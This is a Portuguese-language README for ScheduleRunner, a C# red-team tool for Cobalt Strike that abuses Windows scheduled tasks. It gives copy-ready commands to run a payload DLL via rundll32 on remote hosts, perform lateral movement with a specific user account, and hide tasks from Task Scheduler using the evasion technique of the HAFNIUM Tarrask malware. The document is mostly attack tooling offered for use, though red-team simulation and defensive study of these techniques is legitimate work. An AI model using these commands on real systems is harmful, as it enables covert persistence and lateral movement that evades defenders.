
Uma ferramenta em C# com mais flexibilidade para personalizar tarefas agendadas tanto para persistência quanto para movimento lateral em operações de red team.
Tarefas agendadas são uma das técnicas de ataque mais populares na última década e ainda são comumente usadas por hackers/red teams para persistência e movimento lateral.
Várias ferramentas em C# já foram desenvolvidas para simular o ataque usando tarefas agendadas. Tenho experimentado algumas delas, mas cada uma tem suas próprias limitações na personalização da tarefa agendada. Portanto, este projeto visa fornecer uma ferramenta C# (amigável para execute-assembly do CobaltStrike) que inclua os recursos que preciso e ofereça flexibilidade suficiente na personalização da tarefa agendada.

| Método | Função |
|---|---|
| create | Criar uma nova tarefa agendada |
| delete | Excluir uma tarefa agendada existente |
| run | Executar uma tarefa agendada existente |
| query | Consultar detalhes de uma tarefa agendada ou de todas as tarefas agendadas em uma pasta |
| queryfolders | Consultar todas as subpastas em tarefas agendadas |
| move | Realizar movimento lateral usando tarefa agendada (criar, executar e excluir automaticamente) |
[*] são campos obrigatórios.
[*] são campos obrigatórios.
| Método | Função |
|---|---|
| [*] /taskname | Especificar o nome da tarefa agendada |
| /folder | Especificar a pasta onde a tarefa agendada é armazenada (padrão: \) |
| /remoteserver | Especificar o hostname ou endereço IP de um computador remoto |
[*] são campos obrigatórios.
| Método | Função |
|---|---|
| /taskname | Especificar o nome da tarefa agendada |
| /folder | Especificar a pasta onde a tarefa agendada é armazenada (padrão: \) |
| /remoteserver | Especificar o hostname ou endereço IP de um computador remoto |
[*] são campos obrigatórios.
[*] são campos obrigatórios.
Criar uma tarefa agendada chamada "Cleanup" que será executada todos os dias às 23:30
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
Criar uma tarefa agendada chamada "Cleanup" que será executada a cada 4 horas em um servidor remoto
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01
Excluir uma tarefa agendada chamada "Cleanup"
ScheduleRunner.exe /method:delete /taskname:Cleanup
Executar uma tarefa agendada chamada "Cleanup"
ScheduleRunner.exe /method:run /taskname:Cleanup
Consultar detalhes de uma tarefa agendada chamada "Cleanup" na pasta "\Microsoft\Windows\CertificateServicesClient" em um servidor remoto
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
Consultar todas as tarefas agendadas em uma pasta específica "\Microsoft\Windows\CertificateServicesClient" em um servidor remoto
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
Consultar todas as subpastas em tarefas agendadas
ScheduleRunner.exe /method:queryfolders
Realizar movimento lateral usando tarefa agendada para um servidor remoto com uma conta de usuário específica
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
Criar uma tarefa agendada chamada "Cleanup" usando a técnica de ocultação de tarefa agendada:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
Excluir uma tarefa agendada chamada "Cleanup" que usou a técnica de ocultação de tarefa agendada:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
Esta técnica foi usada pelo ator de ameaças - HAFNIUM e descoberta pela Microsoft recentemente. Ela visa tornar a tarefa agendada não consultável por ferramentas e invisível para o Agendador de Tarefas.
Para usar esta técnica, você precisa ter "NT AUTHORITY/SYSTEM" e o ScheduleRunner fará o seguinte para você:
Para remover uma tarefa agendada criada com esta técnica, é necessário adicionar "/technique:hide" no método de exclusão para removê-la corretamente.
A tarefa continuará em execução até a próxima reinicialização do sistema, mesmo se a tarefa for excluída via registro. Portanto, é melhor não usar esta técnica em servidores para sua operação.

| Biblioteca | Link |
|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler |
| Referência | Link |
|---|---|
| SharpPersist | https://github.com/mandiant/SharPersist |
| Técnica de ocultação de tarefa agendada | https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ |
| Método | Função |
|---|
| [*] /taskname | Especificar o nome da tarefa agendada |
| [*] /program | Especificar o programa que a tarefa executa |
| [*] /trigger | Especificar o tipo de agendamento. Os valores válidos incluem: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" e "onidle" |
| /modifier | Especificar com que frequência a tarefa é executada dentro do seu tipo de agendamento. Aplicável apenas para tipos como "minute" (ex.: 1-1439 minutos), "hourly" (ex.: 1-23 horas) e "weekly" (ex.: mon,sat,sun) |
| /starttime | Especificar a hora de início para o tipo diário (ex.: 23:30) |
| /argument | Especificar o argumento de linha de comando para o programa |
| /folder | Especificar a pasta onde a tarefa agendada é armazenada (padrão: \) |
| /workingdir | Especificar o diretório de trabalho no qual a tarefa agendada será executada |
| /author | Especificar o autor da tarefa agendada |
| /description | Especificar a descrição da tarefa agendada |
| /remoteserver | Especificar o hostname ou endereço IP de um computador remoto |
| /user | Executar a tarefa com uma conta de usuário específica |
| /technique | Especificar técnica de evasão: - "hide": Uma técnica usada pelo malware HAFNIUM que oculta a tarefa agendada da consulta de tarefas [!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ [!] Esta técnica não suporta execução remota devido ao privilégio do registro remoto. Requer "NT AUTHORITY\SYSTEM" e a tarefa continuará em execução até a reinicialização do sistema, mesmo após a exclusão da tarefa |
| Método | Função |
|---|
| [*] /taskname | Especificar o nome da tarefa agendada |
| /folder | Especificar a pasta onde a tarefa agendada é armazenada (padrão: \) |
| /remoteserver | Especificar o hostname ou endereço IP de um computador remoto |
| /technique | Especificar quando a tarefa agendada foi criada usando técnica de evasão: - "hide": Excluir tarefa agendada que usou a técnica de "ocultação de tarefa agendada" [!] A exclusão requer "NT AUTHORITY\SYSTEM" e a tarefa continuará em execução até a reinicialização do sistema, mesmo após a exclusão da tarefa |
| Método | Função |
|---|
| [*] /taskname | Especificar o nome da tarefa agendada |
| [*] /program | Especificar o programa que a tarefa executa |
| [*] /remoteserver | Especificar o hostname ou endereço IP de um computador remoto |
| /trigger | Especificar o tipo de agendamento. Os valores válidos incluem: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" e "onidle" |
| /modifier | Especificar com que frequência a tarefa é executada dentro do seu tipo de agendamento. Aplicável apenas para tipos como "minute" (ex.: 1-1439 minutos), "hourly" (ex.: 1-23 horas) e "weekly" (ex.: mon,sat,sun) |
| /starttime | Especificar a hora de início para o tipo diário (ex.: 23:30) |
| /argument | Especificar o argumento de linha de comando para o programa |
| /folder | Especificar a pasta onde a tarefa agendada é armazenada (padrão: \) |
| /workingdir | Especificar o diretório de trabalho no qual a tarefa agendada será executada |
| /author | Especificar o autor da tarefa agendada |
| /description | Especificar a descrição da tarefa agendada |
| /user | Executar a tarefa com uma conta de usuário específica |